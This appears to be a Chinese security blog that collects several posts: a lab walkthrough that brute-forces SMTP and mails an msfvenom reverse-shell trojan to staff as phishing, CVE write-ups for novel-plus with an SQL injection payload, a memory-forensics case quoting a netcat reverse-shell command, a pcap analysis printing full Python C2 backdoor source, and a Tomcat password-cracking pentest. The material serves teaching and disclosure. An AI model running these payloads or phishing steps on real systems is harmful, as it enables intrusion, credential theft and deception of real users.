| smb2-time:
|   date: 2025-06-20T05:18:44
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 399.98 seconds

目标主机名为BRICK-MAIL，运行hMailServer服务，并开启了rdp服务，WinRM (5985) 服务，其他接口未提供有效信息

收集潜在用户与密码字典

经过浏览brownbrick.co，发现目标部分邮箱。

通过xpath helper 快速提取所有邮箱

/html/body/div[3]/div/div[2]/div/div/div[2]/p

将这些邮箱列表保存到文本文件emails中

oaurelius@brownbrick.co
wrohit@brownbrick.co
lhedvig@brownbrick.co
tchikondi@brownbrick.co
pcathrine@brownbrick.co
fstamatis@brownbrick.co

收集页面上的单词生成字典

cewl --lowercase https://brownbrick.co/index.html > wordlist

初始访问

爆破smtp服务器

接下来使用hydra爆破邮箱smtp服务器

hydra -L emails -P wordlist 10.10.38.108 smtp -s 587

成功爆破出一组有效用户凭证

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-20 06:57:46
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 864 login tries (l:6/p:144), ~54 tries per task
[DATA] attacking smtp://10.10.38.108:587/
[587][smtp] host: 10.10.38.108   login: lhedvig@brownbrick.co   password: bricks	    // [!code highlight]
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-20 06:58:04

权限提升

构建恶意Payload

接下来生成木马来进行钓鱼攻击

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.9.184 LPORT=4444 -f exe > bricks.exe

在 Metasploit Framework (MSF) 中设置相应的监听器等待反弹 shell

发送钓鱼邮件

利用已获取的 lhedvig@brownbrick.co 邮箱凭证，通过 swaks 工具向之前收集到的邮箱列表 emails中的所有用户发送携带恶意附件 bricks.exe 的钓鱼邮件。

while IFS= read -r recipient_email; do swaks --to "$recipient_email" --server 10.10.38.108 --from lhedvig@brownbrick.co --attach bricks.exe --body '********' --header "Subject: ********" --port 587 --auth-user 'lhedvig@brownbrick.co' --auth-password 'bricks'; done < emails

获取控制权

等待一段时间后目标执行附件木马，成功获取目标电脑控制权

通过net user wrohit发现此用户位于管理员组

通过meterpreter的hashdump快速获取所有用户hash

随后使用cmd5获取当前用户wrohit明文密码

最后即可通过rdp访问目标电脑

[CVE-2025-6533] Captcha Replay

Fri, 13 Jun 2025 13:09:24 GMT

import { Image } from 'astro:assets'

import img1 from './assets/image-20250613114237721.png' import img2 from './assets/image-20250613114256009.png'

Abstract

The ajaxLogin method in the authentication module is vulnerable to a Captcha Replay Attack. The application correctly validates the user-submitted captcha against the one stored in the session but fails to invalidate or remove the captcha after its first use. This allows an attacker to reuse a single valid captcha indefinitely to perform automated brute-force or dictionary attacks against user passwords, completely bypassing the anti-automation security control.

Vulnerability Details

1. Affected Product Information

Product Name: novel-plus
Repository URL: https://github.com/201206030/novel-plus
Affected Component: novel-admin/src/main/java/com/java2nb/system/controller/LoginController.java:80
Affected Version: v5.1.3
Vulnerability Type: Improper Restriction of Excessive Authentication Attempts
CWE (Common Weakness Enumeration): CWE-307
Affected Code Snippet:

    R ajaxLogin(String username, String password,String verify,HttpServletRequest request) {

        try {
            //从session中获取随机数
            String random = (String) request.getSession().getAttribute(RandomValidateCodeUtil.RANDOMCODEKEY);
            if (StringUtils.isBlank(verify)) {
                return R.error("请输入验证码");         // [!code highlight]
            }
            if (random.equals(verify)) {
            } else {
                return R.error("请输入正确的验证码");    // [!code highlight]
            }
        } catch (Exception e) {
            logger.error("验证码校验失败", e);
            return R.error("验证码校验失败");           // [!code highlight]
        }
        password = MD5Utils.encrypt(username, password);
        UsernamePasswordToken token = new UsernamePasswordToken(username, password);
        Subject subject = SecurityUtils.getSubject();
        try {
            subject.login(token);
            return R.ok();
        } catch (AuthenticationException e) {
            return R.error("用户或密码错误");
        }
    }

POC

[CVE-2025-6535] SQLI in User List

Fri, 13 Jun 2025 16:31:23 GMT

import { Image } from 'astro:assets'

import imgPoc from './assets/image-20250613172145257.png'

Abstract

A critical SQL injection vulnerability exists in the user management module. The /list endpoint, which retrieves a list of system users, unsafely uses string substitution (${...}) for the sort and order parameters within its MyBatis ORDER BY clause. This allows any authenticated user who can access this endpoint to execute arbitrary SQL commands. Because the query targets the sys_user table, this flaw can be exploited to exfiltrate highly sensitive information, including usernames, email addresses, and password hashes, compromising all user accounts on the system.

Vulnerability Details

1. Affected Product Information

Product Name: novel-plus
Repository URL: https://github.com/201206030/novel-plus
Affected Component: novel-admin/src/main/resources/mybatis/system/UserMapper.xml
Affected Version: 5.1.3
Vulnerability Type: SQL Injection

CWE (Common Weakness Enumeration): CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)

Affected Code Snippet:

    @GetMapping("/list")
    @ResponseBody
    PageBean list(@RequestParam Map<String, Object> params) {
        // 查询列表数据
        Query query = new Query(params);
        List<UserDO> sysUserList = userService.list(query);   // [!code highlight]
        int total = userService.count(query);
        PageBean pageUtil = new PageBean(sysUserList, total);
        return pageUtil;
    }

    @Override
    public List<UserDO> list(Map<String, Object> map) {
        String deptId = map.get("deptId").toString();
        if (StringUtils.isNotBlank(deptId)) {
            Long deptIdl = Long.valueOf(deptId);
            List<Long> childIds = deptService.listChildrenIds(deptIdl);
            childIds.add(deptIdl);
            map.put("deptId", null);
            map.put("deptIds", childIds);
        }
        return userMapper.listByPerm(map);                   // [!code highlight]
    }

<select id="listByPerm" resultType="com.java2nb.system.domain.UserDO">      // [!code highlight]
        select
        `user_id`,`username`,`name`,`password`,`dept_id`,`email`,`mobile`,`status`,`user_id_create`,`gmt_create`,`gmt_modified`,`sex`,`birth`,`pic_id`,`live_address`,`hobby`,`province`,`city`,`district`
        from (
        select
        `user_id`,`username`,`name`,`password`,`dept_id`,`email`,`mobile`,`status`,`user_id_create`,`gmt_create`,`gmt_modified`,`sex`,`birth`,`pic_id`,`live_address`,`hobby`,`province`,`city`,`district`
        from sys_user
        <where>
            <if test="userId != null and userId != ''">and user_id = #{userId}</if>
            <if test="username != null and username != ''">and username = #{username}</if>
            <if test="name != null and name != ''">and name = #{name}</if>
            <if test="password != null and password != ''">and password = #{password}</if>
            <if test="deptId != null and deptId != ''">and dept_id = #{deptId}</if>
            <if test="deptIds != null and deptIds.size() > 0">and dept_id in
                <foreach collection="deptIds" item="item" index="index" separator="," open="(" close=")">
                    #{item}
                </foreach>
            </if>
            <if test="email != null and email != ''">and email = #{email}</if>
            <if test="mobile != null and mobile != ''">and mobile = #{mobile}</if>
            <if test="status != null and status != ''">and status = #{status}</if>
            <if test="userIdCreate != null and userIdCreate != ''">and user_id_create = #{userIdCreate}</if>
            <if test="gmtCreate != null and gmtCreate != ''">and gmt_create = #{gmtCreate}</if>
            <if test="gmtModified != null and gmtModified != ''">and gmt_modified = #{gmtModified}</if>
            <if test="sex != null and sex != ''">and sex = #{sex}</if>
            <if test="birth != null and birth != ''">and birth = #{birth}</if>
            <if test="picId != null and picId != ''">and pic_id = #{picId}</if>
            <if test="liveAddress != null and liveAddress != ''">and live_address = #{liveAddress}</if>
            <if test="hobby != null and hobby != ''">and hobby = #{hobby}</if>
            <if test="province != null and province != ''">and province = #{province}</if>
            <if test="city != null and city != ''">and city = #{city}</if>
            <if test="district != null and district != ''">and district = #{district}</if>
        </where>
        ) t
        <choose>
            <when test="sort != null and sort.trim() != ''">        // [!code highlight:3]
                order by ${sort} ${order}
            </when>
            <otherwise>
                order by user_id desc
            </otherwise>
        </choose>
        <if test="offset != null and limit != null">
            limit #{offset}, #{limit}
        </if>
    </select>

The vulnerability is located in the UserMapper.xml file. The sort and order parameters, controlled by the user, are directly concatenated into the SQL query, bypassing prepared statement protections.

POC

GET /sys/user/list?sort=(SELECT(CASE+WHEN(1%3d1)+THEN+SLEEP(5)+ELSE+1+END))&limit=10&offset=0&name=&deptId= HTTP/1.1

[CVE-2025-6534] Arbitrary File Deletion

Fri, 13 Jun 2025 14:02:00 GMT

import { Image } from 'astro:assets'

import img1 from './assets/image-20250613144959041.png' import img2 from './assets/image-20250613144822682.png' import img3 from './assets/image-20250613145201534.png'

Abstract

The remove endpoint in FileController.java is vulnerable to an Insecure Direct Object Reference (IDOR) attack due to missing authorization. The function accepts a file id for deletion but fails to verify if the currently authenticated user is the owner of the file. As a result, any authenticated user can delete any file stored in the system by simply knowing or guessing its id. The intended permission check @RequiresPermissions is notably commented out in the source code, making the vulnerability explicit.

Vulnerability Details

1. Affected Product Information

Product Name: novel-plus
Repository URL: https://github.com/201206030/novel-plus
Affected Component: novel-admin/src/main/java/com/java2nb/common/controller/FileController.java:114-131
Affected Version: v5.1.3
Vulnerability Type: Improper Authorization
CWE (Common Weakness Enumeration): CWE-862 (Missing Authorization), CWE-285 (Improper Authorization)
Affected Code Snippet:

    @PostMapping("/remove")
    @ResponseBody
    // @RequiresPermissions("common:remove")
    public R remove(Long id, HttpServletRequest request) {
        if ("test".equals(getUsername())) {
            return R.error(1, "演示系统不允许修改,完整体验请部署程序");
        }
        String fileName =
            jnConfig.getUploadPath() + sysFileService.get(id).getUrl().replace(Constant.UPLOAD_FILES_PREFIX, "");
        if (sysFileService.remove(id) > 0) {
            boolean b = FileUtil.deleteFile(fileName);
            if (!b) {
                return R.error("数据库记录删除成功，文件删除失败");
            }
            return R.ok();
        } else {
            return R.error();
        }
    }

POC

恶意软件分析实战：内存取证与磁盘溯源完整案例解析

Fri, 07 Mar 2025 00:00:00 GMT

import { Image } from 'astro:assets'

import imgPslist from './assets/image-20250307143311308.png' import imgCmdline from './assets/image-20250307144553638.png' import imgFtkSvhost from './assets/image-20250307151058338.png' import imgVtSvhost from './assets/image-20250310141042360.png' import imgAutoConnector1 from './assets/image-20250307164005831.png' import imgAutoConnector2 from './assets/image-20250307162137468.png' import imgAutoConnector3 from './assets/image-20250307163925747.png' import imgVtAutoConnector from './assets/image-20250310141710454.png' import imgGroupPolicy from './assets/image-20250310152641358.png' import imgEventViewer from './assets/image-20250310153308977.png'

初始环境与取证数据

memdump.mem  pagefile.sys disk.dd

内存取证分析（Volatility3）

系统指纹识别

python3 vol.py -f memdump.mem windows.info
Kernel Base	0xf802388a7000
DTB	0x1aa000
Symbols	file:///home/ubuntu/Desktop/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/94E2AE6323B686F1F4B25BA580582E04-1.json.xz
Is64Bit	True
IsPAE	False
layer_name	0 WindowsIntel32e
memory_layer	1 FileLayer
KdVersionBlock	0xf80238ca4f08
Major/Minor	15.17763
MachineType	34404
KeNumberProcessors	2
SystemTime	2024-05-14 22:07:36
NtSystemRoot	C:\Windows
NtProductType	NtProductServer
NtMajorVersion	10
NtMinorVersion	0
PE MajorOperatingSystemVersion	10
PE MinorOperatingSystemVersion	0
PE Machine	34404
PE TimeDateStamp	Sat May  4 18:48:48 2030

通过内核版本15.17763确认系统为Windows Server 2019 (1809)，系统架构为64位环境，为后续分析提供基础环境上下文。

查看进程信息

python3 vol.py -f memdump.mem windows.pslist

关键发现：

PID 1036的svchost.exe父进程应为services.exe(PID 804)，但实际父进程为powershell.exe
进程路径指向非常规目录C:\Tools\svchost.exe（正常路径应为C:\Windows\System32）

查看创建进程的命令行

python3 vol.py -f memdump.mem windows.cmdline

svchost.exe 的文件路径并不是默认的 C:\Windows\System32\svchost.exe，而是位于 C:\Tools\ 目录下

很明显这是伪装成系统进程的恶意程序，用于与外部IP地址进行通信。

下面还有一个通过notepad打开的part2.txt文件，文本内容可能通过base64编码。

通过访问part2.txt所在目录，我们还发现了一个connector.ps1文件

Start-Process -NoNewWindow "C:\Tools\svchost.exe" "-e cmd.exe 10.14.74.53 6996"  
C:\Windows\system32\NOTEPAD.EXE $args[0]

可以得知攻击者用于接收反弹SHELL的IP是10.14.74.53

攻击链重构：

通过powershell.exe启动伪装成系统服务svchost.exe的NetCat后门
建立与C2服务器10.14.74.53:6996的反向连接
利用记事本进程加载加密载荷part2.txt实现载荷分离

使用 FTK Imager 分析磁盘

定位恶意文件

查看从内存中找到的文件C:\Tools\svchost.exe

通过VirusTotal中检测提取的SHA1，可以确认此程序为NetCat工具

导出C:\Windows\System32\config下的注册表文件与C:\Users\Bobby\NTUSER.DAT

导入Registry Explorer

因为svhost.exe从AutoConnector目录下载，所以尝试在注册表中进行搜索AutoConnector

成功定位AutoConnector的位置

使用VirusTotal进行分析

持久化机制：

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\bam\State\UserSettings\S-1-5-21-1966530601-...-1008存在恶意启动项
注册表键值指向AutoConnector.exe工具

分析系统日志

从C:\Windows\System32\winevt\Logs\导出事件日志

因为运行的脚本是Powershell脚本，所以仅导入包含Powershell关键字的日志到EventViewer即可

但未搜索到与connector.ps1相关的日志。

动态行为沙箱检测

导出恶意文件所在文件夹

组策略中开启Turn on PowerShell Transaction、Turn on PowerShell Script Block Logging、Turn on Script Execution

运行恶意程序后查看日志

获取到第一部分载荷

结合之前获取的part2.txt经过base64解码成功获取到原始载荷，确认其为数据渗出的加密密钥。

攻击链全景还原

| 阶段 | 技术点 | 取证证据 | | ---------- | ------------ | ------------------------------ | | 初始访问 | ？ | ？ | | 执行 | 服务伪装 | C:\Tools\svchost.exe进程树异常 | | 持久化 | 注册表自启动 | Run键值指向恶意后门程序 | | 防御规避 | 日志清除 | Security.evtx日志时间断层 | | 命令与控制 | 反向Shell | NetCat连接10.14.74.53:6996 | | 数据渗出 | AES加密隧道 | 内存解密Meterpreter配置 |

流量分析实战：解密Python后门的XOR与Base64加密C2通信

Thu, 27 Feb 2025 00:00:00 GMT

初始信息

捕获网络流量包文件.pcap一份，包含异常通信行为

流量分析

流量过滤

可以看到若干ssh流量，ssh的传输都是加密的所以先给过滤掉

发现可疑请求路径/base64_client

异常HTTP会话

GET /base64_client HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 10.0.2.64
Connection: Keep-Alive

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.4
Date: Fri, 27 Oct 2023 03:06:00 GMT
Content-type: application/octet-stream
Content-Length: 16181879
Last-Modified: Fri, 27 Oct 2023 03:05:03 GMT

查看请求头和响应头可以看到是通过Wget从python的SimpleHTTP下载文件，这就非常像是攻击者的常用手法

文件提取

导出HTTP对象进行分析

逆向工程

文件预处理

因为格式看起来可能是base64编码，所以尝试进行解

cat base64_client | base64 -d > client
binwalk client

可以确定，这是一个linux环境下的x86架构可执行文件

objdump -x client

pydata段通常保存pyc，由此可以判断此程序通过python编写，可能通过pyinstaller打包

尝试运行也可以证明

pyinstaller逆向

python pyinstxtractor.py ./client

使用https://github.com/extremecoders-re/pyinstxtractor.git来提取pyc文件

核心代码逆向

接下来尝试使用uncompyle6来进行反编译

uncompyle6 -o client_extracted client_extracted/client.pyc

import socket, base64, subprocess, sys
HOST = "10.0.2.64"
PORT = 1337

def xor_crypt(data, key):
    key_length = len(key)
    encrypted_data = []
    for i, byte in enumerate(data):
        encrypted_byte = byte ^ key[i % key_length]
        encrypted_data.append(encrypted_byte)
    else:
        return bytes(encrypted_data)


with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    while True:
        received_data = s.recv(4096).decode("utf-8")
        encoded_image, encoded_command = received_data.split("AAAAAAAAAA")
        key = "MySup3rXoRKeYForCommandandControl".encode("utf-8")
        decrypted_command = xor_crypt(base64.b64decode(encoded_command.encode("utf-8")), key)
        decrypted_command = decrypted_command.decode("utf-8")
        result = subprocess.check_output(decrypted_command, shell=True).decode("utf-8")
        encrypted_result = xor_crypt(result.encode("utf-8"), key)
        encrypted_result_base64 = base64.b64encode(encrypted_result).decode("utf-8")
        separator = "AAAAAAAAAA"
        send = encoded_image + separator + encrypted_result_base64
        s.sendall(send.encode("utf-8"))

到这里已经知道了攻击者的流量加密方式：(xor+base编码)、端口(1337)、执行的命令混淆在图片的base64编码重，使用AAAAAAAAAA分割

攻击链重置

在wireshark中过滤1337端口，判断攻击者执行的命令

尝试解码全部请求数据，可以看到攻击者用于隐藏操作命令的图片

编写解密代码

import re
import base64

file_path = 'data.txt'
xor_key = "MySup3rXoRKeYForCommandandControl"

def xor_decrypt(data, key):
    return ''.join(chr(b ^ ord(key[i % len(key)])) for i, b in enumerate(data))

with open(file_path) as file:
    content = file.read()
    matches = re.findall(r"AAAAAAAAAA(.*?)iVBORw", content)

    for match in matches:
        try:
            decoded_command = base64.b64decode(match)
            print("Decrypted Command:", xor_decrypt(decoded_command, xor_key))
        except Exception as e:
            print("Error decoding command:", e)

确认攻击者操作序列

攻击者首先确认了当前用户的身份与权限

浏览历史命令获取更多信息

通过历史命令获取了明文数据库密码

添加了一个具有root权限的用户

制作具有SUID的后门/usr/bin/passswd并检查文件权限

使用md5sum校验哈希值是否相等

通过定时任务实现其他目标

技术指标

| 指标类型 | 具体内容 | | ---------- | --------------------------------- | | C2服务器 | 10.0.2.64:1337 | | 加密算法 | XOR + Base64 | | 密钥 | MySup3rXoRKeYForCommandandControl | | 持久化方式 | SUID后门账户、定时任务 |

Tomcat渗透测试：从弱口令爆破到Root权限获取实战

Thu, 06 Feb 2025 00:00:00 GMT

信息收集

已知IP：10.10.172.34

端口扫描

我们使用 Nmap 对目标进行全面的端口扫描，以识别开放的端口和运行的服务。

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d0:3c:2b:8f:1e:c1:b8:aa:6b:ee:46:d0:11:7f:a0:1b (RSA)
|   256 32:54:26:c2:03:2d:03:fd:ab:18:b8:d2:32:e7:b0:da (ECDSA)
|_  256 b6:dd:8f:33:0c:39:1c:9c:ed:b6:a9:a2:b8:4a:99:d7 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
1234/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
MAC Address: 02:71:E0:B3:3C:D3 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=2/6%OT=22%CT=1%CU=42167%PV=Y%DS=1%DC=D%G=Y%M=0271E0%TM
OS:=67A448E4%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=109%TI=Z%CI=I%II=I%
OS:TS=8)OPS(O1=M2301ST11NW7%O2=M2301ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW
OS:7%O5=M2301ST11NW7%O6=M2301ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68
OS:DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=
OS:40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%
OS:O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=4
OS:0%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%
OS:Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=
OS:Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

扫描结果分析: SSH (22/tcp): 开放，可用于后续的远程登录。 Apache (80/tcp): 运行着一个标准的Web服务器。 Tomcat (1234/tcp): 关键发现！目标运行着 Apache Tomcat 7.0.88，这是一个主要的攻击面。 AJP (8009/tcp): Tomcat的AJP连接器，也可能存在漏洞（如著名的Ghostcat）。

目录爆破


root@ip-10-10-143-174:~# nmap -sS -A 10.10.172.34
Starting Nmap 7.80 ( https://nmap.org ) at 2025-02-06 05:29 GMT
Nmap scan report for 10.10.172.34
Host is up (0.00040s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d0:3c:2b:8f:1e:c1:b8:aa:6b:ee:46:d0:11:7f:a0:1b (RSA)
|   256 32:54:26:c2:03:2d:03:fd:ab:18:b8:d2:32:e7:b0:da (ECDSA)
|_  256 b6:dd:8f:33:0c:39:1c:9c:ed:b6:a9:a2:b8:4a:99:d7 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
1234/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
MAC Address: 02:71:E0:B3:3C:D3 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=2/6%OT=22%CT=1%CU=42167%PV=Y%DS=1%DC=D%G=Y%M=0271E0%TM
OS:=67A448E4%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=109%TI=Z%CI=I%II=I%
OS:TS=8)OPS(O1=M2301ST11NW7%O2=M2301ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW
OS:7%O5=M2301ST11NW7%O6=M2301ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68
OS:DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=
OS:40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%
OS:O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=4
OS:0%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%
OS:Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=
OS:Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.40 ms 10.10.172.34

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.03 seconds
root@ip-10-10-143-174:~# dirb
dirb          dirb-gendict
root@ip-10-10-143-174:~# dirb http://10.10.172.34

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Feb  6 05:37:47 2025
URL_BASE: http://10.10.172.34/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.172.34/ ----
==> DIRECTORY: http://10.10.172.34/guidelines/
+ http://10.10.172.34/index.html (CODE:200|SIZE:168)
+ http://10.10.172.34/protected (CODE:401|SIZE:459)
+ http://10.10.172.34/server-status (CODE:403|SIZE:300)

---- Entering directory: http://10.10.172.34/guidelines/ ----
+ http://10.10.172.34/guidelines/index.html (CODE:200|SIZE:51)

-----------------
END_TIME: Thu Feb  6 05:37:53 2025
DOWNLOADED: 9224 - FOUND: 4

进入可疑路径 http://10.10.172.34/guidelines/index.html 发现一段可能是由管理员留给IT运维的话:Hey bob, did you update that TomCat server? 因此将关注点放在tomcat上

爆破密码

结合发现的用户名 bob，我们使用 Hydra 和常用的密码字典 rockyou.txt 对Tomcat Manager登录接口 (/manager/html)进行暴力破解。

hydra -l bob -P /usr/share/wordlist/rockyou.txt -f -vV 10.10.172.34 http-get /manager/index.html
[80][http-get] host: 10.10.172.34   login: bob   password: bubbles
[STATUS] attack finished for 10.10.172.34 (valid pair found)
1 of 1 target successfully completed, 1 valid password found

我们成功爆破出管理员凭证 bob:bubbles。这为我们提供了登录Tomcat后台的权限。

漏洞扫描

nikto -id bob:bubbles -h http://10.10.172.34:1234/manager/html
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          10.10.172.34
+ Target Hostname:    10.10.172.34
+ Target Port:        1234
+ Start Time:         2025-02-06 06:05:03 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache-Coyote/1.1
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Successfully authenticated to realm 'Tomcat Manager Application' with user-supplied credentials.
+ Cookie JSESSIONID created without the httponly flag
+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS
+ OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ OSVDB-3092: /manager/html/localstart.asp: This may be interesting...
+ OSVDB-3233: /manager/html/manager/manager-howto.html: Tomcat documentation found.
+ /manager/html/manager/html: Default Tomcat Manager interface found
+ /manager/html/WorkArea/version.xml: Ektron CMS version information
+ 6544 items checked: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2025-02-06 06:05:15 (GMT0) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

漏洞利用

因为之前提到了tomcat所以先查找tomcat的漏洞

msfconsole

# 因为已经进入了管理后台所以优先关注可以通过管理后台提权的exp
msf6 > search tomcat

Matching Modules
================

   #   Name                                                                       Disclosure Date  Rank       Check  Description
   -   ----                                                                       ---------------  ----       -----  -----------
   0   auxiliary/dos/http/apache_commons_fileupload_dos                           2014-02-06       normal     No     Apache Commons FileUpload and Apache Tomcat DoS
   1   exploit/multi/http/struts_dev_mode                                         2012-01-06       excellent  Yes    Apache Struts 2 Developer Mode OGNL Execution
   2   exploit/multi/http/struts2_namespace_ognl                                  2018-08-22       excellent  Yes    Apache Struts 2 Namespace Redirect OGNL Injection
   3     \_ target: Automatic detection                                           .                .          .      .
   4     \_ target: Windows                                                       .                .          .      .
   5     \_ target: Linux                                                         .                .          .      .
   6   exploit/multi/http/struts_code_exec_classloader                            2014-03-06       manual     No     Apache Struts ClassLoader Manipulation Remote Code Execution
   7     \_ target: Java                                                          .                .          .      .
   8     \_ target: Linux                                                         .                .          .      .
   9     \_ target: Windows                                                       .                .          .      .
   10    \_ target: Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)  .                .          .      .
   11  auxiliary/admin/http/tomcat_ghostcat                                       2020-02-20       normal     Yes    Apache Tomcat AJP File Read
   12  exploit/windows/http/tomcat_cgi_cmdlineargs                                2019-04-10       excellent  Yes    Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability
   13  exploit/multi/http/tomcat_mgr_deploy                                       2009-11-09       excellent  Yes    Apache Tomcat Manager Application Deployer Authenticated Code Execution
   14    \_ target: Automatic                                                     .                .          .      .
   15    \_ target: Java Universal                                                .                .          .      .
   16    \_ target: Windows Universal                                             .                .          .      .
   17    \_ target: Linux x86                                                     .                .          .      .
   18  exploit/multi/http/tomcat_mgr_upload                                       2009-11-09       excellent  Yes    Apache Tomcat Manager Authenticated Upload Code Execution
   19    \_ target: Java Universal                                                .                .          .      .
   20    \_ target: Windows Universal                                             .                .          .      .
   21    \_ target: Linux x86                                                     .                .          .      .
   22  auxiliary/dos/http/apache_tomcat_transfer_encoding                         2010-07-09       normal     No     Apache Tomcat Transfer-Encoding Information Disclosure and DoS
   23  auxiliary/scanner/http/tomcat_enum                                         .                normal     No     Apache Tomcat User Enumeration
   24  exploit/linux/local/tomcat_rhel_based_temp_priv_esc                        2016-10-10       manual     Yes    Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation
   25  exploit/linux/local/tomcat_ubuntu_log_init_priv_esc                        2016-09-30       manual     Yes    Apache Tomcat on Ubuntu Log Init Privilege Escalation
   26  exploit/multi/http/atlassian_confluence_webwork_ognl_injection             2021-08-25       excellent  Yes    Atlassian Confluence WebWork OGNL Injection
   27    \_ target: Unix Command                                                  .                .          .      .
   28    \_ target: Linux Dropper                                                 .                .          .      .
   29    \_ target: Windows Command                                               .                .          .      .
   30    \_ target: Windows Dropper                                               .                .          .      .
   31    \_ target: PowerShell Stager                                             .                .          .      .
   32  exploit/windows/http/cayin_xpost_sql_rce                                   2020-06-04       excellent  Yes    Cayin xPost wayfinder_seqid SQLi to RCE
   33  exploit/multi/http/cisco_dcnm_upload_2019                                  2019-06-26       excellent  Yes    Cisco Data Center Network Manager Unauthenticated Remote Code Execution
   34    \_ target: Automatic                                                     .                .          .      .
   35    \_ target: Cisco DCNM 11.1(1)                                            .                .          .      .
   36    \_ target: Cisco DCNM 11.0(1)                                            .                .          .      .
   37    \_ target: Cisco DCNM 10.4(2)                                            .                .          .      .
